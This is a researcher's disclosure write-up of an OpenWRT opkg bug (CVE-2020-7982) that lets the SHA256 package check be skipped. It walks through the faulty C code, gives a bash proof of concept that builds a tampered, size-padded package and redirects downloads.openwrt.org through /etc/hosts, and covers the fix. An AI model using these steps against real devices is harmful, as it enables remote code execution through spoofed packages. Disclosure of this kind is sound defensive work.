Uncovering OpenWRT Remote Code Execution (CVE-2020-7982)

GUIDO VRANKEN · MARCH 26, 2020

Introduction: Fuzzing OpenWRT

For ForAllSecure, I've been focusing on finding bugs in OpenWRT using their Mayhem software. My research on OpenWRT has been a combination of writing custom harnesses, running binaries of the box without recompilation, and manual inspection of code.

I found this vulnerability initially by chance when I was preparing a Mayhem task for opkg.

Mayhem can serve data either from a file or from a network socket.

opkg downloads packages from downloads.openwrt.org, so my plan was to let this domain name point to 127.0.0.1 from which Mayhem is serving.

To test if opkg would indeed download packages from a custom network connection, I set up a local web server and created a file consisting of random bytes. When I ran opkg to install a package, it retrieved the file as I had intended, and then threw a segmentation fault.

I didn't understand why an invalid package would cause this error. After all, the package shouldn't be processed if the SHA256 hash was incorrect.

My initial hunch was that opkg would download the package, unpack it to a temporary directory, and only then verify the SHA256 hash before definitively installing it to the system. I suspected that the unpacker couldn't deal with malformed data, like the file with random bytes served from my web server.

Further inspection showed that the SHA256 hash wasn't checked at all, which is the basis of the vulnerability at hand.

I was right about the unpacker being buggy, though; malformed data would lead to a variety of memory violations.

Once I confirmed that opkg would attempt to unpack and install *any* package it downloads, I was able to recreate the findings with Mayhem with just a slight modification to opkg.

I set up a Mayhem task for opkg install attr (attr is a small OpenWRT package), and the memory bugs in the package unpacker. If OpenWRT's SHA256 verification had worked as intended, opkg would simply discard the package and not process it, and no segmentation faults would transpire.

Mayhem is capable of fuzzing binaries without recompilation or instrumentation. Coming from a workflow that involves writing many custom harnesses for software libraries (which Mayhem also supports), this has been a delightful experience and it has allowed me to set up targets for dozens of OpenWRT applications in just weeks, and more vulnerability disclosures are forthcoming.

In the following sections, I'll dive deeper into how I identified the vulnerability.

OpenWRT

OpenWRT is a free, Linux-based operating system geared towards use in embedded devices in general and network routers in particular. By all accounts it is installed on millions of devices across the world.

The OpenWRT Package Manager

To install or update software on an OpenWRT system such as an OpenWRT web server, a utility called opgk is used. Its functionality and purpose are comparable to apt on Debian-based systems.

opkg retrieves the lists of package available for installation from downloads.openwrt.org over an unencrypted HTTP connection.

The package lists are digitally signed. This ensures that before the package file is processed, it is verified to come from the OpenWRT maintainers, and discarded if verification fails.

A typical entry in Packages looks like this:

```
Package: attr
Version: 2.4.48-2
Depends: libc, libattr
License: GPL-2.0-or-later
Section: utils
Architecture: x86_64
Installed-Size: 11797
Filename: attr_2.4.48-2_x86_64.ipk
Size: 12517
SHA256sum: 10f4e47bf6b74ac1e49edb95036ad7f9de564e6aba54ccee6806ab7ace5e90
Description:  Extended attributes support
This package provides xattr manipulation utilities
- attr
- getfattr
- setfattr
```

The SHA256sum field is there to ensure that a downloaded package is not corrupted or compromised. The expected SHA256 hash is implicitly guaranteed to come from the OpenWRT maintainers, because the package list that embeds it, is itself verified with a valid signature.

In theory this means that through the use of signatures nor the package list, nor a package archive can be tampered even though the transport channel (HTTP) is by itself insecure.

Some discussion about this way of reasoning can be found here.

The Bug

When the user installs a package by running opkg install <package>, opkg starts by parsing the package lists.

The parser traverses each package entry and performs different actions for each type of field. Once it comes across the SHA256sum field, it will call pkg_set_sha256:

```
else if ((mask & PFM_SHA256SUM) && is_field("SHA256sum", line))
    pkg_set_sha256(pkg, line + strlen("SHA256sum") + 1);
```

Source

pkg_set_sha256 will attempt to decode the SHA256sum field from hexadecimal to binary and store it in an internal representation:

```
 char *pkg_set_sha256(pkg_t *pkg, const char *cksum)
{
    size_t len;
    char *p = checksum_hex2bin(cksum, &len);

    if (!p || len != 32)
            return NULL;

    return pkg_set_raw(pkg, PKG_SHA256SUM, p, len);
}
```

Source

However, if decoding fails, it silently fails without storing the hash.

The actual bug is in checksum_hex2bin. It is fairly easy to overlook. Can you spot it?

```c
char *checksum_hex2bin(const char *src, size_t *len)
{
    size_t slen;
    unsigned char *p;
    const unsigned char *s = (unsigned char *)src;
    static unsigned char buf[32];

    if (!src) {
            *len = 0;
            return NULL;
    }

    while (isspace(*src))
            src++;

    slen = strlen(src);

    if (slen > 64) {
            *len = 0;
            return NULL;
    }

    for (p = buf, *len = 0;
            slen > 0 && isxdigit(s[0]) && isxdigit(s[1]);
            slen--, s += 2, (*len)++)
                *p++ = hex2bin(s[0]) * 16 + hex2bin(s[1]);

    return (char *)buf;
}
```

Source

Initially, the s and src variables point to the same address.

On line 246, the src variable is advanced to the first non-space character. However, the actual decoding, which happens inside the for loop starting on line 256 operates on the s variable, which still points to the very start of the string.

Hence, if the input string has any leading spaces, this will attempt to decode the space character. The space is not a hexadecimal character, so isxdigit() returns false, and the decoder loop will exit immediately, leaving *len set to 0.

If we look at the package parser again, we see that the string passed to pkg_set_sha256 is the part of the line after “SHA256sum:

```c
pkg_set_sha256(pkg, line + strlen("SHA256sum") + 1);
```

In effect, this means that the first character of that string is a space.

After the package list parsing has completed, the package is downloaded, again over HTTP.

Several verification steps follow.

The size of the downloaded package must be equal to that specified in the package list:

```
pkg_expected_size = pkg_get_int(pkg, PKG_SIZE);

if (pkg_expected_size > 0 && pkg_stat.st_size != pkg_expected_size) {
    if (!conf->force_checksum) {
        opkg_msg(ERROR,
            "Package size mismatch: %s is %lld bytes, expecting %lld bytes
            pkg->name, (long long int)pkg_stat.st_size, pkg_expected_size)
                return -1;
    } else {
        opkg_msg(NOTICE,
            "Ignored %s size mismatch.\n",
             pkg->name);
    }
}
```

Source

And if a SHA256 hash was specified for this package, it must match:

```
/* Check for sha256 value */
pkg_sha256 = pkg_get_sha256(pkg);
if (pkg_sha256) {
    file_sha256 = file_sha256sum_alloc(local_filename);
    if (file_sha256 && strcmp(file_sha256, pkg_sha256)) {
    if (!conf->force_checksum) {
        opkg_msg(ERROR,
            "Package %s sha256sum mismatch. "
             "Either the opkg or the package index are corrupt. "
             "Try 'opkg update'.\n", pkg->name);
         free(file_sha256);
         return -1;
    } else {
        opkg_msg(NOTICE,
            "Ignored %s sha256sum mismatch.\n",
             pkg->name);
        }
    }
    if (file_sha256)
        free(file_sha256);
}
```

Source

But because checksum_hex2bin was not able to decode the SHA256sum field, the code from line 1418 onwards is simply bypassed.

It looks like the bug was introduced in February 2017, almost three years ago: https://git.openwrt.org/?p=project/opkg-lede.git;a=blobdiff;f=libopkg/file_util.c;h=155d73b52be1ac81d88ebfd851c50c98ede6f012;hp=912b147ad306766f6275e93a3b9860de81b29242;hb=54cc7e3bd1f79569022aa9fc3d0e748c81e3bcd8;hpb=9396bd4a4c84bde6b55ac3c47c90b4804e51adaf

Exploitation

For exploitation it is required that the attacker serves (compromised) packages from a web server.

The attacker must either be in a position to intercept and replace communication between the device and downloads.openwrt.org, or control the DNS server used by the device to make downloads.openwrt.org point to a web server controlled by the attacker.

Attacks on a local network using packet spoofing or ARP cache poisoning might be possible, but this has not been tested.

The sole constraint to reckon with is that the file size of compromised package must match the Size field in the package list.

Doing this is trivial:

- Compute the size difference between the original package and the compromised package
- Append this amount of zero bytes to the end of the compromised package

The following proof-of-concept demonstrates how exploitation may be achieved:

Stay Connected

```
#!/bin/bash

# Download the package lists for mirroring
wget -x http://downloads.openwrt.org/snapshots/packages/x86_64/base/Packa
wget -x http://downloads.openwrt.org/snapshots/packages/x86_64/base/Packa
wget -x http://downloads.openwrt.org/snapshots/packages/x86_64/luci/Packa
.org/snapshots/packages/x86_64/luci/Packa
.org/snapshots/packages/x86_64/packages/P
wget -x http://downloads.openwrt.org/snapshots/packages/x86_64/packages/P
/downloads.openwrt.org/snapshots/packages/x86_64/routing/Pa
/downloads.openwrt.org/snapshots/packages/x86_64/routing/Pa
wget -x http://downloads.openwrt.org/snapshots/packages/x86_64/telephony/
wget -x http://downloads.openwrt.org/snapshots/packages/x86_64/telephony/
wget -x http://downloads.openwrt.org/snapshots/targets/x86/64/packages/Pa
wget -x http://downloads.openwrt.org/snapshots/targets/x86/64/packages/Pa

mv downloads.openwrt.org/snapshots .rm -rf downloads.openwrt.org/

# Get the original package
wget http://downloads.openwrt.org/snapshots/packages/x86_64/packages/attr_
ORIGINAL_FILESIZE=$(stat -c%s "attr_2.4.48-2_x86_64.ipk")
tar zxf attr_2.4.48-2_x86_64.ipk
rm attr_2.4.48-2_x86_64.ipk

# Extract the binaries
mkdir data/
cd data/
tar zxvf ../data.tar.gz
rm ../data.tar.gz

# Build the replacement binary. It is a very small program that prints a 
rm -f /tmp/pwned.asm /tmp/pwned.o
echo "section  .text" >>/tmp/pwned.asm
echo "global   _start" >>/tmp/pwned.asm
echo "_start:" >>/tmp/pwned.asm
echo " mov  edx,len" >>/tmp/pwned.asm
echo " mov  ecx,msg" >>/tmp/pwned.asm
echo " mov  ebx,1" >>/tmp/pwned.asm
echo " mov  eax,4" >>/tmp/pwned.asm
echo " int  0x80" >>/tmp/pwned.asm
echo " mov  eax,1" >>/tmp/pwned.asm
echo " int  0x80" >>/tmp/pwned.asm
echo "section  .data" >>/tmp/pwned.asm
echo "msg  db  'pwned :)',0xa" >>/tmp/pwned.asm
echo "len  equ $ - msg" >>/tmp/pwned.asm

# Assemble
nasm /tmp/pwned.asm -f elf64 -o /tmp/pwned.o

# Link
ld /tmp/pwned.o -o usr/bin/attr

# Pack into data.tar.gz
tar czvf ../data.tar.gz *
cd ../

# Remove files no longer needed
rm -rf data/

# Pack
tar czvf attr_2.4.48-2_x86_64.ipk control.tar.gz data.tar.gz debian-binar

# Remove files no longer needed
rm control.tar.gz data.tar.gz debian-binary

# Compute the size difference between the original package and the compro
MODIFIED_FILESIZE=$(stat -c%s "attr_2.4.48-2_x86_64.ipk")
FILESIZE_DELTA="$(($ORIGINAL_FILESIZE-$MODIFIED_FILESIZE))"

# Pad the modified file to the expected size
head /dev/zero -c$FILESIZE_DELTA >>attr_2.4.48-2_x86_64.ipk

# Download the dependency of attr
wget http://downloads.openwrt.org/snapshots/packages/x86_64/packages/liba

# Position the files for serving from the web server
mkdir -p snapshots/packages/x86_64/packages/
mv attr_2.4.48-2_x86_64.ipk snapshots/packages/x86_64/packages/
mv libattr_2.4.48-2_x86_64.ipk snapshots/packages/x86_64/packages/
```

If we assume that the web server IP is 192.168.2.10, running following commands on an OpenWRT system:

```
echo "192.168.2.10 downloads.openwrt.org" >>/etc/hosts; opkg update && o
```

would print 'pwned :)' before the fixes were implemented.

The modification to /etc/hosts is required to emulate a man-in-the-middle (or compromised DNS) situation.

Remediation

As a stopgap solution, OpenWRT removed the space in the SHA256sum from the package list shortly after I reported the bug.

This helped mitigate the risk to users somewhat; users who updated their package lists following this change were no longer vulnerable, as subsequent installs would set out from a well-formed list that would not sidestep the hash verification.

However, this is not an adequate long-term solution because an attacker can simply provide an older package list that was signed by the OpenWRT maintainers.

The bug in checksum_hex2bin was fixed in this commit and integrated in OpenWRT versions 18.06.7 and 19.07.1, both released on February 1st 2020.

My recommendation is to upgrade OpenWRT versions to 18.06.7 or 19.07.1.

Notes

Back in 2016, Jann Horn of Google Project Zero found a bug with a comparable impact in Debian's apt package manager.

Last year, another such flaw was discovered by Max Justicz.